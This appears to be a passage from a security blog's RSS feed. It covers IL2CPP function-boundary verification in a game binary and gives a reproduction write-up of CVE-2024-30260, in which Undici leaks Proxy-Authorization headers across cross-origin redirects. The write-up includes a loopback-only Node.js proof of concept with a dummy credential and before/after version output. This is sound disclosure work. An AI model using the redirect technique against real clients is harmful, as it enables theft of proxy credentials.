<p>For remediation, compare the vulnerable and corrected behavior under equivalent relevant conditions, then check that the intended operation still works. If that verification is absent, attribute the fix to its published source rather than presenting it as independently confirmed.</p>
<h2 id="publish-only-what-the-claim-needs">Publish only what the claim needs</h2>
<p>Reproducibility is not a reason to expose credentials, private captures, or restricted implementation details. Prefer minimal local examples and sanitized evidence whose changes are documented. Preserve attribution, distinguish upstream findings from independent work, and disclose remaining limits. The <a href="/methodology/">methodology</a> describes that reporting boundary; <a href="/contact/">contact</a> is the route for corrections.</p>
]]></content:encoded></item><item><title>Checking IL2CPP function boundaries before trusting the analysis</title><link>https://yami.report/il2cpp-boundary-verification/</link><guid>https://yami.report/il2cpp-boundary-verification/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>A game-input investigation tied 37 analyzed native extents to a specific binary and exposed why repaired database boundaries need their own evidence.</description><content:encoded><![CDATA[<h2 id="the-question-came-from-game-input-not-a-vulnerability-claim">The question came from game input, not a vulnerability claim</h2>
<p>The original investigation asked how a tower-drag gesture becomes game state in an ARM64 IL2CPP build of Merge Kingdoms. Which observation acquires the object? Which position reaches the release handler? Could a short gesture miss the observations the game needs?</p>
<p>Those questions depend on complete function bodies, not suggestive method names. The retained analysis dossier is dated <strong>18 September 2026</strong>. This article is published on <strong>29 September 2026</strong>. A separate boundary-repair report supports the database discussion below, but does <strong>not</strong> establish its own precise execution date; I do not assign it the dossier&rsquo;s date.</p>
<p>This is a case about analysis reliability. It is not a vulnerability discovery, an input bypass, or a demonstrated automation result.</p>
<h2 id="why-the-function-extent-matters">Why the function extent matters</h2>
<p>A decompiler can make the wrong extent look convincing. If an analysis database merges neighboring functions, apparent fallthrough or an unrelated call can become part of the method being investigated. Conversely, an early endpoint can hide a condition that changes the answer. A recovered name does not fix either problem.</p>
<p>There is also an address-space trap: an ELF virtual address is not necessarily a byte offset in the file. The dossier records translation through ELF <code>PT_LOAD</code> mappings before examining bounded ARM64 instructions. It specifically describes resolving misleading decompiler fallthrough after null-throw helpers and mis-typed locals against those instructions. Boundary checks were therefore part of deciding what the input implementation said, not cosmetic cleanup of a disassembly view.</p>
<h2 id="my-contribution-and-the-evidence-chain">My contribution and the evidence chain</h2>
<p>My <a href="/tools/il2cpp-analysis/">IL2CPP analysis tooling</a> connects recovered metadata to a queryable SQLite index, imports metadata into IDA, and reconciles database function boundaries. <strong>Il2CppInspectorRedux and IDA are upstream tools, not my work.</strong> The custom contribution is the indexing, import, and repair workflow around them.</p>
<p>For this investigation, the rebuilt method index was reconciled with unwind information, including <code>.eh_frame_hdr</code> and frame-description entries (FDEs). The dossier records <strong>271,875 matched FDE starts</strong>. That is an indexing/reconciliation count, not a claim that the behavior of every corresponding function was analyzed. Its verification record separately identifies <strong>37 analyzed methods</strong>, with their extents matching IDA and FDE boundaries.</p>
<p>The build binding is a computed SHA-256 for the native binary, retained in the public excerpt. The same digest appears in the analysis dossier and the repair report. That connects the records to the same binary identity; it does not independently verify the supplied application/version label. Addresses or conclusions should not be transferred to another build merely because its method names look familiar.</p>
<h2 id="a-genuine-beforeafter-at-database-scale">A genuine before/after, at database scale</h2>
<p>The public example deliberately uses the retained report&rsquo;s aggregate state rather than presenting an individual function as a demonstrated before/after repair:</p>
<table>
	<thead>
			<tr>
					<th>Recorded state or action</th>
					<th>Functions</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Before repair</td>
					<td>256,359</td>
			</tr>
			<tr>
					<td>Deleted during repair</td>
					<td>9,634</td>
			</tr>
			<tr>
					<td>Created during repair</td>
					<td>26,028</td>
			</tr>
			<tr>
					<td>After repair, persisted audit</td>
					<td>272,753</td>
			</tr>
	</tbody>
</table>
<p>These are database objects, not newly discovered vulnerabilities or distinct source-level methods. Deletion and creation are repair operations; the net increase alone would not establish correctness.</p>
<p>The more useful result is the <strong>saved-and-reopened verification</strong> retained by the repair workflow. Its persisted audit reports no further creates or deletes in the repair plan, with zero missing accepted starts, missing FDE starts, missing metadata starts, missing symbol starts, overlaps, and wrong ends. It also records completed autoanalysis. Under these checks, the saved database agreed with the accepted boundary evidence—not merely with an unsaved in-memory view.</p>
<h2 id="what-this-supportsand-what-it-does-not">What this supports—and what it does not</h2>
<p>FDEs were used to repair IDA. Subsequent IDA/FDE agreement is therefore a <strong>consistency check, not independent corroboration</strong>. Metadata and symbol evidence provide additional inputs to reconciliation, while bounded instruction inspection supports the behavioral reading. None makes decompiler output universally accurate or establishes exhaustive indirect-call coverage.</p>
<p>The game-input dossier remained static-only. It could distinguish acquisition and release logic in the analyzed bodies, but it did not establish native input retention, delivery latency, or a reliable minimum gesture duration on a device. No game execution was used to turn a conditional sampling argument into a runtime guarantee.</p>
<h2 id="inspectable-publication-bounded-disclosure">Inspectable publication, bounded disclosure</h2>
<p>The <a href="/research-assets/il2cpp-boundaries/evidence.json">sanitized JSON excerpt</a> preserves selected verification fields, aggregate before/after state, source-record labels, and the build digest. It excludes filesystem paths, function catalogs, machine code, decompiled code, binaries, and analysis databases. Source-field mappings make the aggregate counts traceable without distributing proprietary contents.</p>
<p>This publication is a transcription of retained evidence, not a newly executed repair. The private dossier and report support its claims, but are not offered as public reproduction inputs. Readers can inspect the exact scope of the recorded checks; they cannot reproduce the original binary analysis from this excerpt alone.</p>
]]></content:encoded></item><item><title>CVE-2024-30260: Proxy credentials forwarded across an Undici redirect</title><link>https://yami.report/cve-2024-30260-undici-redirect-credential-leak/</link><guid>https://yami.report/cve-2024-30260-undici-redirect-credential-leak/</guid><pubDate>Sun, 23 Aug 2026 00:00:00 +0000</pubDate><description>Independent reproduction of a cross-origin proxy-credential leak, with a vulnerable/fixed-version comparison of the upstream repair.</description><content:encoded><![CDATA[<p>This analysis independently reproduces the publicly documented CVE-2024-30260 behavior; see references.</p>
<h2 id="summary">Summary</h2>
<p>Undici&rsquo;s <code>request()</code> API retained the <code>Proxy-Authorization</code> header while following a cross-origin redirect. An application that supplied proxy credentials and enabled automatic redirects could therefore send those credentials to the redirect destination.</p>
<p>The Undici maintainers rated the issue <strong>Low</strong>, with a CVSS 3.1 score of <strong>3.9</strong>. The narrow prerequisites support that rating: an application must explicitly set the header, allow redirects, and receive a redirect to another origin.</p>
<table>
	<thead>
			<tr>
					<th>Field</th>
					<th>Value</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Product</td>
					<td>Undici for Node.js</td>
			</tr>
			<tr>
					<td>Identifier</td>
					<td>CVE-2024-30260 / GHSA-m4v8-wqvr-p9f7</td>
			</tr>
			<tr>
					<td>Class</td>
					<td>Sensitive header exposure across origins</td>
			</tr>
			<tr>
					<td>Severity</td>
					<td>Low — CVSS 3.1: 3.9</td>
			</tr>
			<tr>
					<td>Reproduced with</td>
					<td>Undici 5.28.3</td>
			</tr>
			<tr>
					<td>Fixed releases</td>
					<td>5.28.4 and 6.11.1</td>
			</tr>
			<tr>
					<td>Status</td>
					<td>Fixed</td>
			</tr>
	</tbody>
</table>
<h2 id="impact">Impact</h2>
<p>A server that can make the client follow a redirect to an attacker-observed origin may receive the value of the client&rsquo;s <code>Proxy-Authorization</code> header. Depending on how that header is populated, the value can contain reusable proxy credentials.</p>
<p>This is not an unconditional credential leak. The vulnerable path requires all of the following:</p>
<ol>
<li>the application uses an affected Undici redirect path such as <code>request()</code>;</li>
<li><code>Proxy-Authorization</code> is present on the request;</li>
<li>automatic redirect following is enabled with <code>maxRedirections</code>; and</li>
<li>the first server returns a redirect to a different origin.</li>
</ol>
<h2 id="technical-details">Technical details</h2>
<p>Undici already removed <code>Authorization</code> and <code>Cookie</code> when its redirect handler detected a different origin. The same filter did not include <code>Proxy-Authorization</code>, so that header remained in the request headers used for the next hop.</p>
<p>The upstream fix added <code>proxy-authorization</code> to the redirect handler&rsquo;s removal list and added a regression test covering a cross-origin redirect. Because the filter is shared by Undici&rsquo;s redirect handling, the vendor advisory names the <code>dispatch</code>, <code>request</code>, <code>stream</code>, and <code>pipeline</code> APIs.</p>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>The following script starts two HTTP servers on different loopback ports. Different ports make them different origins. The first server redirects to the second, which prints the header it receives.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="s1">&#39;use strict&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">createServer</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;node:http&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">once</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;node:events&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">request</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;undici&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">listen</span> <span class="p">(</span><span class="nx">server</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">server</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s1">&#39;127.0.0.1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">once</span><span class="p">(</span><span class="nx">server</span><span class="p">,</span> <span class="s1">&#39;listening&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">server</span><span class="p">.</span><span class="nx">address</span><span class="p">().</span><span class="nx">port</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">main</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">destination</span> <span class="o">=</span> <span class="nx">createServer</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`destination received: </span><span class="si">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="s1">&#39;proxy-authorization&#39;</span><span class="p">]</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s1">&#39;ok&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">destinationPort</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">listen</span><span class="p">(</span><span class="nx">destination</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">redirector</span> <span class="o">=</span> <span class="nx">createServer</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">writeHead</span><span class="p">(</span><span class="mi">302</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">Location</span><span class="o">:</span> <span class="sb">`http://127.0.0.1:</span><span class="si">${</span><span class="nx">destinationPort</span><span class="si">}</span><span class="sb">/landing`</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">redirectorPort</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">listen</span><span class="p">(</span><span class="nx">redirector</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">request</span><span class="p">(</span><span class="sb">`http://127.0.0.1:</span><span class="si">${</span><span class="nx">redirectorPort</span><span class="si">}</span><span class="sb">/start`</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">maxRedirections</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// &#34;sample:secret&#34; in base64; this is not a real credential.
</span></span></span><span class="line"><span class="cl">        <span class="s1">&#39;Proxy-Authorization&#39;</span><span class="o">:</span> <span class="s1">&#39;Basic c2FtcGxlOnNlY3JldA==&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl">    <span class="kr">await</span> <span class="nx">response</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">text</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">redirector</span><span class="p">.</span><span class="nx">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nx">destination</span><span class="p">.</span><span class="nx">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">main</span><span class="p">().</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">process</span><span class="p">.</span><span class="nx">exitCode</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span>
</span></span></code></pre></div><p>Install the vulnerable version and run the script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> npm install undici@5.28.3
</span></span><span class="line"><span class="cl"><span class="gp">$</span> node reproduce.js
</span></span><span class="line"><span class="cl"><span class="go">destination received: Basic c2FtcGxlOnNlY3JldA==
</span></span></span></code></pre></div><p>After upgrading to 5.28.4, the same destination no longer receives the header:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> npm install undici@5.28.4
</span></span><span class="line"><span class="cl"><span class="gp">$</span> node reproduce.js
</span></span><span class="line"><span class="cl"><span class="go">destination received: undefined
</span></span></span></code></pre></div><h2 id="remediation">Remediation</h2>
<p>Upgrade to Undici 5.28.4, 6.11.1, or a later supported release. The vendor&rsquo;s temporary workarounds were to use <code>fetch()</code> or disable automatic redirects by removing or setting <code>maxRedirections</code> to zero.</p>
<p>Applications should also avoid attaching proxy credentials to requests unless they are required and treat any cross-origin redirect as a new trust decision.</p>
<h2 id="public-resolution-timeline">Public resolution timeline</h2>
<ul>
<li><strong>2024-04-02:</strong> The upstream fix and regression test were committed.</li>
<li><strong>2024-04-04:</strong> The Undici security advisory was published with CVE-2024-30260.</li>
<li><strong>2026-08-23:</strong> The behavior shown above was rechecked locally with 5.28.3 and 5.28.4 for this analysis.</li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/nodejs/undici/security/advisories/GHSA-m4v8-wqvr-p9f7">Undici advisory GHSA-m4v8-wqvr-p9f7</a></li>
<li><a href="https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75">Upstream fix, commit 6805746</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-30260">NVD entry for CVE-2024-30260</a></li>
<li><a href="https://hackerone.com/reports/2408074">Original public report on HackerOne</a></li>
</ul>
]]></content:encoded></item></channel></rss>